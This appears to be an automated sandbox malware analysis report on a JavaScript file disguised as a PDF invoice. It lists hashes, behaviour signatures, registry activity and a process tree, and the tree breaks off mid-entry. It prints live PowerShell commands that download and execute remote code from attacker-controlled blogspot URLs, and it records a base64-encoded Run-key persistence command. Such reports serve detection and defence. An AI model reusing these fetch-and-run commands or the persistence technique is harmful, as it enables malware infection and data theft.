58675f5771515e360d7cb592fd616e14a2159669df28d9f1c9e682beedaa0446

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/04/2026, 09:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
invoice-1645080830.pdf (49).js
Size 22.6MB
Sample260429-llpd5aes3q
SHA256 58675f5771515e360d7cb592fd616e14a2159669df28d9f1c9e682beedaa0446
MD5 2e7140f9309c82ad794e77023689651c
SHA1 fd300a005a36c1fd2bdaed9055e18b96bb23de91
SHA512 2fefdef954cf7250502b37ffa69b772573c18c40110c4354eab4e1242054ddf6557c767e68a0def2656bcd06de6135aa18b92f66be2565255c4c71cf59aaae79
SSDEEP 49152:SU3pU3JU3GU3LU33U3NU3nU3RU3MU3BU3fU3BCD6U3bU3WU3aU3KU3pCDZU3XU3L:/
TLSH
T15E372384995A8F9F036C15486CFF124B17844F8F8218BE9E23C77896B5FCE5632DE684
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 12 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4760	powershell.exe
3	4760	powershell.exe
4	4760	powershell.exe
5	4760	powershell.exe
7	4760	powershell.exe
37	2404	powershell.exe
38	2404	powershell.exe
57	2404	powershell.exe
63	2404	powershell.exe
64	2404	powershell.exe
65	3500	powershell.exe
66	3500	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 35 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Run\draki331 = "conhost.exe --headless powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAASQBlAFgAIAAoAEkAcgBNACAAaAB0AHQAcABzADoALwAvAGgAaQBtAGEAYwBoAGEAbAB5ADEANwBhAHAAbAByAC4AYgBsAG8AZwBzAHAAbwB0AC4AYwBvAG0ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8AcwBjAG8AbwBiAGEALgBkAG8AYwB4AC4AcABkAGYAKQA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAOQA1AA=="	powershell.exe

ConfuserEx .NET packer 1 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral2/memory/2404-294-0x000002F3D41A0000-0x000002F3D41C2000-memory.dmp	ConfuserEx

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4596_667530959\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4596_1699564637\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4596_1699564637\protocols.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3500	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3112	msedge.exe
6592	chrome.exe
5520	msedge.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134219291212970085"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3847269522-1618051987-1942096715-1000\{0112CD3D-AF21-4F1C-A630-6B3EF0ADE81B}	msedge.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2404	powershell.exe

Suspicious behavior: EnumeratesProcesses 59 IoCs

pid	Process
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
6060	chrome.exe
6060	chrome.exe
3500	powershell.exe
3500	powershell.exe
7012	chrome.exe
7012	chrome.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
6092	msedge.exe
6092	msedge.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe
3500	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
4596	msedge.exe
4596	msedge.exe
4596	msedge.exe
4596	msedge.exe
4596	msedge.exe
4596	msedge.exe
4596	msedge.exe
4596	msedge.exe
4596	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeIncreaseQuotaPrivilege	4760	powershell.exe
Token: SeSecurityPrivilege	4760	powershell.exe
Token: SeTakeOwnershipPrivilege	4760	powershell.exe
Token: SeLoadDriverPrivilege	4760	powershell.exe
Token: SeSystemProfilePrivilege	4760	powershell.exe
Token: SeSystemtimePrivilege	4760	powershell.exe
Token: SeProfSingleProcessPrivilege	4760	powershell.exe
Token: SeIncBasePriorityPrivilege	4760	powershell.exe
Token: SeCreatePagefilePrivilege	4760	powershell.exe
Token: SeBackupPrivilege	4760	powershell.exe
Token: SeRestorePrivilege	4760	powershell.exe
Token: SeShutdownPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeSystemEnvironmentPrivilege	4760	powershell.exe
Token: SeRemoteShutdownPrivilege	4760	powershell.exe
Token: SeUndockPrivilege	4760	powershell.exe
Token: SeManageVolumePrivilege	4760	powershell.exe
Token: 33	4760	powershell.exe
Token: 34	4760	powershell.exe
Token: 35	4760	powershell.exe
Token: 36	4760	powershell.exe
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeIncreaseQuotaPrivilege	4760	powershell.exe
Token: SeSecurityPrivilege	4760	powershell.exe
Token: SeTakeOwnershipPrivilege	4760	powershell.exe
Token: SeLoadDriverPrivilege	4760	powershell.exe
Token: SeSystemProfilePrivilege	4760	powershell.exe
Token: SeSystemtimePrivilege	4760	powershell.exe
Token: SeProfSingleProcessPrivilege	4760	powershell.exe
Token: SeIncBasePriorityPrivilege	4760	powershell.exe
Token: SeCreatePagefilePrivilege	4760	powershell.exe
Token: SeBackupPrivilege	4760	powershell.exe
Token: SeRestorePrivilege	4760	powershell.exe
Token: SeShutdownPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeSystemEnvironmentPrivilege	4760	powershell.exe
Token: SeRemoteShutdownPrivilege	4760	powershell.exe
Token: SeUndockPrivilege	4760	powershell.exe
Token: SeManageVolumePrivilege	4760	powershell.exe
Token: 33	4760	powershell.exe
Token: 34	4760	powershell.exe
Token: 35	4760	powershell.exe
Token: 36	4760	powershell.exe
Token: SeIncreaseQuotaPrivilege	4760	powershell.exe
Token: SeSecurityPrivilege	4760	powershell.exe
Token: SeTakeOwnershipPrivilege	4760	powershell.exe
Token: SeLoadDriverPrivilege	4760	powershell.exe
Token: SeSystemProfilePrivilege	4760	powershell.exe
Token: SeSystemtimePrivilege	4760	powershell.exe
Token: SeProfSingleProcessPrivilege	4760	powershell.exe
Token: SeIncBasePriorityPrivilege	4760	powershell.exe
Token: SeCreatePagefilePrivilege	4760	powershell.exe
Token: SeBackupPrivilege	4760	powershell.exe
Token: SeRestorePrivilege	4760	powershell.exe
Token: SeShutdownPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeSystemEnvironmentPrivilege	4760	powershell.exe
Token: SeRemoteShutdownPrivilege	4760	powershell.exe
Token: SeUndockPrivilege	4760	powershell.exe
Token: SeManageVolumePrivilege	4760	powershell.exe
Token: 33	4760	powershell.exe
Token: 34	4760	powershell.exe
Token: 35	4760	powershell.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
4596	msedge.exe
4596	msedge.exe
6060	chrome.exe
6060	chrome.exe
5796	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2404	powershell.exe
2404	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4816 wrote to memory of 4760	4816	wscript.exe	80
PID 4760 wrote to memory of 4596	4760	powershell.exe	82
PID 4596 wrote to memory of 4108	4596	msedge.exe	84
PID 4596 wrote to memory of 3112	4596	msedge.exe	85
PID 4596 wrote to memory of 4384	4596	msedge.exe	86
PID 4596 wrote to memory of 4384	4596	msedge.exe	86
PID 4596 wrote to memory of 4384	4596	msedge.exe	86
PID 4596 wrote to memory of 3560	4596	msedge.exe	87
PID 4596 wrote to memory of 3560	4596	msedge.exe	87
PID 4596 wrote to memory of 2012	4596	msedge.exe	90
PID 4596 wrote to memory of 2012	4596	msedge.exe	90
PID 4596 wrote to memory of 2012	4596	msedge.exe	90
PID 4596 wrote to memory of 1156	4596	msedge.exe	89
PID 4596 wrote to memory of 1156	4596	msedge.exe	89
PID 4596 wrote to memory of 1156	4596	msedge.exe	89
PID 4596 wrote to memory of 1284	4596	msedge.exe	91
PID 4596 wrote to memory of 1284	4596	msedge.exe	91
PID 4596 wrote to memory of 1284	4596	msedge.exe	91
PID 4596 wrote to memory of 3104	4596	msedge.exe	92
PID 4596 wrote to memory of 3104	4596	msedge.exe	92
PID 4596 wrote to memory of 3104	4596	msedge.exe	92
PID 4596 wrote to memory of 3108	4596	msedge.exe	93
PID 4596 wrote to memory of 4380	4596	msedge.exe	94
PID 4596 wrote to memory of 3108	4596	msedge.exe	93
PID 4596 wrote to memory of 3108	4596	msedge.exe	93
PID 4596 wrote to memory of 4380	4596	msedge.exe	94
PID 4596 wrote to memory of 4380	4596	msedge.exe	94
PID 4596 wrote to memory of 2116	4596	msedge.exe	95
PID 4596 wrote to memory of 2116	4596	msedge.exe	95
PID 4596 wrote to memory of 2116	4596	msedge.exe	95
PID 4596 wrote to memory of 2604	4596	msedge.exe	96
PID 4596 wrote to memory of 2604	4596	msedge.exe	96
PID 4596 wrote to memory of 2604	4596	msedge.exe	96
PID 4596 wrote to memory of 2800	4596	msedge.exe	98
PID 4596 wrote to memory of 2800	4596	msedge.exe	98
PID 760 wrote to memory of 2404	760	conhost.exe	100
PID 4596 wrote to memory of 4740	4596	msedge.exe	101
PID 4596 wrote to memory of 4740	4596	msedge.exe	101
PID 4596 wrote to memory of 4900	4596	msedge.exe	103
PID 4596 wrote to memory of 2300	4596	msedge.exe	104
PID 4596 wrote to memory of 4900	4596	msedge.exe	103
PID 4596 wrote to memory of 2300	4596	msedge.exe	104
PID 4596 wrote to memory of 1628	4596	msedge.exe	105
PID 1628 wrote to memory of 4500	1628	msedge.exe	106
PID 4596 wrote to memory of 4880	4596	msedge.exe	108
PID 4596 wrote to memory of 2884	4596	msedge.exe	109
PID 4596 wrote to memory of 2884	4596	msedge.exe	109
PID 4596 wrote to memory of 2724	4596	msedge.exe	110
PID 4596 wrote to memory of 2724	4596	msedge.exe	110
PID 4596 wrote to memory of 4200	4596	msedge.exe	111
PID 4596 wrote to memory of 4200	4596	msedge.exe	111
PID 4596 wrote to memory of 2356	4596	msedge.exe	112
PID 4596 wrote to memory of 2356	4596	msedge.exe	112
PID 4596 wrote to memory of 5048	4596	msedge.exe	113
PID 4596 wrote to memory of 5048	4596	msedge.exe	113
PID 4596 wrote to memory of 1140	4596	msedge.exe	114
PID 4596 wrote to memory of 1072	4596	msedge.exe	115
PID 4596 wrote to memory of 4860	4596	msedge.exe	116
PID 2404 wrote to memory of 3500	2404	powershell.exe	117
PID 3500 wrote to memory of 6060	3500	powershell.exe	119
PID 6060 wrote to memory of 6004	6060	chrome.exe	120
PID 6060 wrote to memory of 6444	6060	chrome.exe	121
PID 6060 wrote to memory of 6592	6060	chrome.exe	122
PID 6060 wrote to memory of 5348	6060	chrome.exe	123

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (49).js"
1⤵
- Suspicious use of WriteProcessMemory
PID:4816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Downloads\Document.pdf
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x340,0x7ff8fedec188,0x7ff8fedec194,0x7ff8fedec1a0
      4⤵
      PID:4108
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1636,i,13171020894120120917,7011874899083772335,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=2400 /prefetch:11
      4⤵
      System Time Discovery
      PID:3112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1508,i,11259750538647968754,12520507275354196029,262144 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:2
      4⤵
      PID:4384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2108,i,7654188640313496149,8445772107226289942,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=2768 /prefetch:13
      4⤵
      PID:3560
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3524,i,354041870523016535,16451818294443616393,2097152 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:1
      4⤵
      PID:1156
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3528,i,2076603879529268050,15170337526336977272,2097152 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:1
      4⤵
      PID:2012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4076,i,12905899784989169377,2584020962465700622,2097152 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=4088 /prefetch:1
      4⤵
      PID:1284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
